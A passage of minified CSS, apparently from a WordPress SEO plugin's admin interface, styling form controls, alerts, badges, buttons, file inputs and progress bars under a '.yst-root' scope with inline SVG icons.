0 0 1 1.414-1.414L6.5 9.086l4.293-4.293a1 1 0 0 1 1.414 0z'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:100% 100%}.yst-root [type=checkbox]:checked,.yst-root [type=checkbox]:checked:focus,.yst-root [type=checkbox]:checked:hover,.yst-root [type=checkbox]:indeterminate{background-color:currentColor;border-color:#0000}.yst-root [type=checkbox]:indeterminate{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 16 16'%3E%3Cpath stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M4 8h8'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:100% 100%}.yst-root [type=checkbox]:indeterminate:focus,.yst-root [type=checkbox]:indeterminate:hover{background-color:currentColor;border-color:#0000}.yst-root [type=radio]{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;background-origin:border-box;border-color:#6b7280;border-radius:100%;border-width:1px;color:#2563eb;display:inline-block;flex-shrink:0;height:1rem;padding:0;-webkit-print-color-adjust:exact;print-color-adjust:exact;-webkit-user-select:none;user-select:none;vertical-align:middle;width:1rem}.yst-root [type=radio]:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:2px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root [type=radio]:checked{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 16 16' fill='%23fff' xmlns='http://www.w3.org/2000/svg'%3E%3Ccircle cx='8' cy='8' r='3'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:100% 100%}.yst-root [type=radio]:checked,.yst-root [type=radio]:checked:focus,.yst-root [type=radio]:checked:hover{background-color:currentColor;border-color:#0000}.yst-root{--tw-text-opacity:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;color:rgb(71 85 105/var(--tw-text-opacity));font-family:ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;font-size:.8125rem;font-weight:400;line-height:1.5}.yst-root a{--tw-text-opacity:1;color:rgb(79 70 229/var(--tw-text-opacity));-webkit-text-decoration-line:underline;text-decoration-line:underline}.yst-root a:visited{color:#a61e69}.yst-root a:hover{--tw-text-opacity:1;color:rgb(99 102 241/var(--tw-text-opacity))}.yst-root a:hover:visited{color:#b94986}.yst-root a:focus{--tw-text-opacity:1;border-radius:.125rem;color:rgb(99 102 241/var(--tw-text-opacity));outline-color:#4f46e5;outline-offset:1px;outline-style:solid}.yst-root [type=date]::placeholder,.yst-root [type=datetime-local]::placeholder,.yst-root [type=email]::placeholder,.yst-root [type=month]::placeholder,.yst-root [type=number]::placeholder,.yst-root [type=password]::placeholder,.yst-root [type=search]::placeholder,.yst-root [type=tel]::placeholder,.yst-root [type=text]::placeholder,.yst-root [type=time]::placeholder,.yst-root [type=url]::placeholder,.yst-root [type=week]::placeholder,.yst-root textarea::placeholder{--tw-placeholder-opacity:1;color:rgb(100 116 139/var(--tw-placeholder-opacity))}.yst-root svg path{stroke-width:inherit}.yst-root .yst-radio__input,.yst-root a:focus{--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)}.yst-root .yst-radio__input{transition-property:none}.yst-root .yst-radio__input:checked:before{content:var(--tw-content);display:none}.yst-root .yst-modal{z-index:100000!important}.yst-root dd,.yst-root li{margin-bottom:0}.yst-root input[type=date],.yst-root input[type=datetime-local],.yst-root input[type=datetime],.yst-root input[type=email],.yst-root input[type=month],.yst-root input[type=number],.yst-root input[type=password],.yst-root input[type=search],.yst-root input[type=tel],.yst-root input[type=text],.yst-root input[type=time],.yst-root input[type=url],.yst-root input[type=week]{min-height:0}.yst-root input[type=checkbox]{--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);min-height:0;min-width:0;transition-property:none}.yst-root input[type=checkbox]:before{--tw-content:none;content:var(--tw-content)}*,::backdrop,:after,:before{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#3b82f680;--tw-ring-offset-shadow:0 0 #0000;--tw-ring-shadow:0 0 #0000;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: }.yst-root .yst-alert{border-radius:.375rem;display:flex;gap:.75rem;padding:1rem}.yst-root .yst-alert--info{--tw-bg-opacity:1;background-color:rgb(219 234 254/var(--tw-bg-opacity))}.yst-root .yst-alert--info .yst-alert__message{--tw-text-opacity:1;color:rgb(30 64 175/var(--tw-text-opacity))}.yst-root .yst-alert--warning{--tw-bg-opacity:1;background-color:rgb(254 243 199/var(--tw-bg-opacity))}.yst-root .yst-alert--warning .yst-alert__message{--tw-text-opacity:1;color:rgb(146 64 14/var(--tw-text-opacity))}.yst-root .yst-alert--success{--tw-bg-opacity:1;background-color:rgb(220 252 231/var(--tw-bg-opacity))}.yst-root .yst-alert--success .yst-alert__message{--tw-text-opacity:1;color:rgb(22 101 52/var(--tw-text-opacity))}.yst-root .yst-alert--error{--tw-bg-opacity:1;background-color:rgb(254 226 226/var(--tw-bg-opacity))}.yst-root .yst-alert--error .yst-alert__message{--tw-text-opacity:1;color:rgb(153 27 27/var(--tw-text-opacity))}.yst-root .yst-alert__icon{flex-grow:0;flex-shrink:0;height:1.25rem;width:1.25rem}.yst-root .yst-autocomplete{position:relative}.yst-root .yst-autocomplete--error .yst-autocomplete__button{--tw-border-opacity:1;border-color:rgb(252 165 165/var(--tw-border-opacity))}.yst-root .yst-autocomplete--error .yst-autocomplete__button:focus{--tw-border-opacity:1;--tw-ring-opacity:1;--tw-ring-color:rgb(239 68 68/var(--tw-ring-opacity));border-color:rgb(239 68 68/var(--tw-border-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-autocomplete--error .yst-autocomplete__input::placeholder{--tw-placeholder-opacity:1;color:rgb(252 165 165/var(--tw-placeholder-opacity))}.yst-root .yst-autocomplete--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-autocomplete--disabled:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-autocomplete--disabled .yst-autocomplete__input{cursor:not-allowed}.yst-root .yst-autocomplete--disabled .yst-autocomplete__input:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-autocomplete--disabled .yst-autocomplete__button{cursor:not-allowed}.yst-root .yst-autocomplete--disabled .yst-autocomplete__button:focus-within{--tw-border-opacity:1;--tw-ring-opacity:1;--tw-ring-color:rgb(226 232 240/var(--tw-ring-opacity));border-color:rgb(226 232 240/var(--tw-border-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-autocomplete__button{--tw-bg-opacity:1;--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));align-items:center;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;border-width:0;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);display:flex;padding-left:.75rem;padding-right:.75rem;width:100%}.yst-root .yst-autocomplete__button:focus-within{--tw-border-opacity:1;--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));border-color:rgb(166 30 105/var(--tw-border-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-autocomplete__button-icon{--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));height:1.25rem;pointer-events:none;position:absolute;right:.625rem;top:.6875rem;width:1.25rem}.yst-root .yst-autocomplete__input{--tw-text-opacity:1;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;border-width:0;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);color:rgb(30 41 59/var(--tw-text-opacity));font-size:.8125rem;padding:.5rem 2.5rem .5rem 0;width:100%}.yst-root .yst-autocomplete__input:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-autocomplete__options{--tw-bg-opacity:1;--tw-shadow:0 10px 15px -3px #0000001a,0 4px 6px -4px #0000001a;--tw-shadow-colored:0 10px 15px -3px var(--tw-shadow-color),0 4px 6px -4px var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-color:rgb(0 0 0/var(--tw-ring-opacity));--tw-ring-opacity:0.05;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);font-size:.8125rem;margin-top:.25rem;max-height:15rem;overflow:auto;position:absolute;width:100%;z-index:20}.yst-root .yst-autocomplete__options:focus{outline:2px solid #0000;outline-offset:2px}.yst-root .yst-autocomplete__option{--tw-text-opacity:1;align-items:center;color:rgb(51 65 85/var(--tw-text-opacity));cursor:default;display:flex;justify-content:space-between;padding:.5rem .75rem;position:relative;-webkit-user-select:none;user-select:none}.yst-root .yst-autocomplete__option--active{--tw-bg-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity))}.yst-root .yst-autocomplete__option--selected{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(166 30 105/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-select__option-label{display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.yst-root .yst-autocomplete__option-check{--tw-text-opacity:1;color:rgb(255 255 255/var(--tw-text-opacity));flex-shrink:0;height:1.25rem;width:1.25rem}.yst-root .yst-badge{--tw-bg-opacity:1;--tw-text-opacity:1;align-items:center;background-color:rgb(219 234 254/var(--tw-bg-opacity));border-radius:9999px;color:rgb(30 64 175/var(--tw-text-opacity));display:inline-flex;font-size:.75rem;font-weight:500;line-height:1.25;padding:.125rem .5rem;vertical-align:middle;white-space:nowrap}.yst-root .yst-badge--info{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(191 219 254/var(--tw-bg-opacity));color:rgb(30 58 138/var(--tw-text-opacity))}.yst-root .yst-badge--upsell{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(253 230 138/var(--tw-bg-opacity));color:rgb(120 53 15/var(--tw-text-opacity))}.yst-root .yst-badge--plain{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));color:rgb(15 23 42/var(--tw-text-opacity))}.yst-root .yst-badge--small{font-size:.675rem}.yst-root .yst-badge--large{font-size:1rem;padding-left:.75rem;padding-right:.75rem}.yst-root .yst-button{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-inset:inset;--tw-ring-color:#0000;align-items:center;border-radius:.375rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);cursor:pointer;display:inline-flex;font-size:.8125rem;font-weight:500;justify-content:center;line-height:1.25rem;padding:.5rem .75rem;text-align:center;-webkit-text-decoration-line:none;text-decoration-line:none}.yst-root .yst-button:focus{outline-color:#a61e69;outline-offset:2px;outline-style:solid;outline-width:2px}.yst-root a.yst-button:focus{border-radius:.375rem}.yst-root .yst-button--primary{--tw-bg-opacity:1;--tw-text-opacity:1;--tw-ring-color:#0000;background-color:rgb(166 30 105/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-button--primary:visited{color:#fff}.yst-root .yst-button--primary:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(143 15 87/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-button--primary:hover:visited{color:#fff}.yst-root .yst-button--primary:focus{--tw-text-opacity:1;color:rgb(255 255 255/var(--tw-text-opacity));outline-color:#8f0f57}.yst-root .yst-button--secondary{--tw-bg-opacity:1;--tw-text-opacity:1;--tw-ring-opacity:1;--tw-ring-color:rgb(203 213 225/var(--tw-ring-opacity));background-color:rgb(255 255 255/var(--tw-bg-opacity));color:rgb(30 41 59/var(--tw-text-opacity))}.yst-root .yst-button--secondary:visited{color:#1e293b}.yst-root .yst-button--secondary:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity));color:rgb(30 41 59/var(--tw-text-opacity))}.yst-root .yst-button--secondary:hover:visited{color:#1e293b}.yst-root .yst-button--secondary:focus{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));outline-color:#8f0f57}.yst-root .yst-button--tertiary{--tw-text-opacity:1;--tw-shadow:0 0 #0000;--tw-shadow-colored:0 0 #0000;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);background-color:initial;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(166 30 105/var(--tw-text-opacity))}.yst-root .yst-button--tertiary:visited{color:#83084e}.yst-root .yst-button--tertiary:hover{--tw-text-opacity:1;color:rgb(131 8 78/var(--tw-text-opacity))}.yst-root .yst-button--tertiary:hover:visited{color:#83084e}.yst-root .yst-button--tertiary:focus{--tw-text-opacity:1;color:rgb(131 8 78/var(--tw-text-opacity));outline-color:#8f0f57}.yst-root .yst-button--error{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(220 38 38/var(--tw-bg-opacity));border-color:#0000;color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-button--error:visited{color:#fff}.yst-root .yst-button--error:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(185 28 28/var(--tw-bg-opacity));color:rgb(255 255 255/var(--tw-text-opacity))}.yst-root .yst-button--error:hover:visited{color:#fff}.yst-root .yst-button--error:focus{--tw-text-opacity:1;color:rgb(255 255 255/var(--tw-text-opacity));outline-color:#dc2626}.yst-root .yst-button--upsell{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(252 211 77/var(--tw-bg-opacity));border-color:#0000;color:rgb(120 53 15/var(--tw-text-opacity))}.yst-root .yst-button--upsell:visited{color:#78350f}.yst-root .yst-button--upsell:hover{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(251 191 36/var(--tw-bg-opacity));color:rgb(120 53 15/var(--tw-text-opacity))}.yst-root .yst-button--upsell:hover:visited{color:#78350f}.yst-root .yst-button--upsell:focus{--tw-text-opacity:1;color:rgb(120 53 15/var(--tw-text-opacity));outline-color:#fbbf24}.yst-root .yst-button--large{font-size:.875rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root .yst-button--extra-large{font-size:1rem;line-height:1.5rem;padding:.625rem .875rem}.yst-root .yst-button--small{font-size:.75rem;line-height:1rem;padding:.375rem .625rem}.yst-root .yst-button--disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-button--disabled:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-checkbox{align-items:center;display:flex}.yst-root .yst-checkbox--disabled .yst-checkbox__input,.yst-root .yst-checkbox--disabled .yst-checkbox__label{cursor:not-allowed;opacity:.5}.yst-root .yst-checkbox__input{--tw-border-opacity:1;--tw-text-opacity:1;border-color:rgb(203 213 225/var(--tw-border-opacity));border-radius:.25rem;color:rgb(166 30 105/var(--tw-text-opacity));height:1rem;width:1rem}.yst-root .yst-checkbox__input:focus{--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity))}.yst-root .yst-checkbox__label{margin-left:.75rem}.yst-root .yst-code{--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));border-radius:.25rem;color:rgb(15 23 42/var(--tw-text-opacity));display:inline-block;font-size:.75rem;line-height:1.25;margin:0;padding:.25rem}.yst-root .yst-code--block{display:block;margin-bottom:.5rem;margin-top:.5rem;max-width:100%;overflow-x:auto;padding:.25rem .5rem;white-space:nowrap}.yst-root .yst-file-input{--tw-border-opacity:1;--tw-bg-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border:2px dashed rgb(203 213 225/var(--tw-border-opacity));border-radius:.375rem;padding:1.25rem 1.5rem 1.5rem;text-align:center;transition-duration:.3s;transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:cubic-bezier(0,0,.2,1);width:100%}.yst-root .yst-file-input.yst-is-drag-over{--tw-border-opacity:1;--tw-bg-opacity:1;background-color:rgb(250 243 247/var(--tw-bg-opacity));border-color:rgb(205 130 171/var(--tw-border-opacity))}.yst-root .yst-file-input.yst-is-drag-over .yst-file-input__content{pointer-events:none}.yst-root .yst-file-input.yst-is-drag-over .yst-file-input__icon{--tw-translate-y:-0.5rem;--tw-text-opacity:1;color:rgb(185 73 134/var(--tw-text-opacity));transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.yst-root .yst-file-input.yst-is-disabled{cursor:not-allowed;opacity:.5}.yst-root .yst-file-input.yst-is-disabled .yst-file-input__select-label{cursor:not-allowed}.yst-root .yst-file-input__content{align-items:center;display:inline-flex;flex-direction:column;max-width:20rem}.yst-root .yst-file-input__content>:not([hidden])~:not([hidden]){--tw-space-y-reverse:0;margin-bottom:calc(.25rem*var(--tw-space-y-reverse));margin-top:calc(.25rem*(1 - var(--tw-space-y-reverse)))}.yst-root .yst-file-input__content{text-align:center}.yst-root .yst-file-input__icon{stroke-width:1;--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));height:3rem;margin-left:auto;margin-right:auto;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y));transition-duration:.3s;transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:cubic-bezier(0,0,.2,1);width:3rem}.yst-root .yst-file-input__icon>path{stroke-width:1}.yst-root .yst-file-input__input{clip:rect(0,0,0,0);border-width:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;white-space:nowrap;width:1px}.yst-root .yst-file-input__input:focus+.yst-file-input__select-label{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}.yst-root .yst-file-input__labels{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));display:inline-block;font-weight:400}.yst-root .yst-file-input__select-label{border-radius:.375rem;font-weight:500}[dir=rtl] .yst-root .yst-file-input__labels{flex-direction:row-reverse}.yst-root .yst-label{--tw-text-opacity:1;color:rgb(30 41 59/var(--tw-text-opacity));font-size:.8125rem;font-weight:500}.yst-root .yst-link{--tw-text-opacity:1;color:rgb(79 70 229/var(--tw-text-opacity));cursor:pointer;-webkit-text-decoration-line:underline;text-decoration-line:underline}.yst-root .yst-link:visited{color:#a61e69}.yst-root .yst-link:hover{--tw-text-opacity:1;color:rgb(99 102 241/var(--tw-text-opacity))}.yst-root .yst-link:hover:visited{color:#b94986}.yst-root .yst-link:focus{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(79 70 229/var(--tw-ring-opacity));--tw-ring-offset-width:1px;--tw-ring-offset-color:#0000;border-radius:.125rem;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(99 102 241/var(--tw-text-opacity));outline:2px solid #0000;outline-offset:2px}.yst-root .yst-link--primary{--tw-text-opacity:1;color:rgb(154 22 96/var(--tw-text-opacity))}.yst-root .yst-link--primary:focus,.yst-root .yst-link--primary:hover{--tw-text-opacity:1;color:rgb(166 30 105/var(--tw-text-opacity))}.yst-root .yst-link--primary:focus{--tw-ring-opacity:1;--tw-ring-color:rgb(154 22 96/var(--tw-ring-opacity))}.yst-root .yst-link--error{--tw-text-opacity:1;color:rgb(220 38 38/var(--tw-text-opacity))}.yst-root .yst-link--error:focus,.yst-root .yst-link--error:hover{--tw-text-opacity:1;color:rgb(239 68 68/var(--tw-text-opacity))}.yst-root .yst-link--error:focus{--tw-ring-opacity:1;--tw-ring-color:rgb(220 38 38/var(--tw-ring-opacity))}.yst-root .yst-paper{--tw-bg-opacity:1;--tw-shadow:0 1px 3px 0 #0000001a,0 1px 2px -1px #0000001a;--tw-shadow-colored:0 1px 3px 0 var(--tw-shadow-color),0 1px 2px -1px var(--tw-shadow-color);background-color:rgb(255 255 255/var(--tw-bg-opacity));border-radius:.5rem;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);display:flex;flex-direction:column}.yst-root .yst-paper__header{border-bottom-width:1px;padding:2rem}.yst-root .yst-paper__content{flex-grow:1;padding:2rem}.yst-root .yst-progress-bar{--tw-bg-opacity:1;background-color:rgb(226 232 240/var(--tw-bg-opacity));border-radius:9999px;display:block;overflow:hidden;width:100%}.yst-root .yst-progress-bar__progress{--tw-bg-opacity:1;background-color:rgb(166 30 105/var(--tw-bg-opacity));border-radius:9999px;display:block;height:.375rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y));transition-duration:.2s;transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-timing-function:linear}.yst-root .yst-radio{align-items:center;display:flex}.yst-root .yst-radio--disabled .yst-radio__check,.yst-root .yst-radio--disabled .yst-radio__input,.yst-root .yst-radio--disabled .yst-radio__label{cursor:not-allowed;opacity:.5}.yst-root .yst-radio--disabled .yst-radio__check:focus,.yst-root .yst-radio--disabled .yst-radio__input:focus,.yst-root .yst-radio--disabled .yst-radio__label:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-radio--inline-block{display:inline-flex}.yst-root .yst-radio--inline-block .yst-radio__input{clip:rect(0,0,0,0);border-width:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;white-space:nowrap;width:1px}.yst-root .yst-radio--inline-block .yst-radio__input:checked+.yst-radio__content .yst-radio__label{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));border-color:#0000;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-radio--inline-block .yst-radio__input:checked+.yst-radio__content .yst-radio__check{visibility:visible}.yst-root .yst-radio--inline-block .yst-radio__input:focus+.yst-radio__content .yst-radio__label{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-radio--inline-block .yst-radio__input:checked:focus+.yst-radio__content .yst-radio__label{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-offset-width:1px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)}.yst-root .yst-radio--inline-block .yst-radio__content{position:relative}.yst-root .yst-radio--inline-block .yst-radio__label{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);align-items:center;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(203 213 225/var(--tw-border-opacity));border-radius:.5rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);cursor:pointer;display:flex;font-size:1rem;height:3.5rem;justify-content:center;margin-left:0;width:3.5rem}.yst-root .yst-radio--inline-block 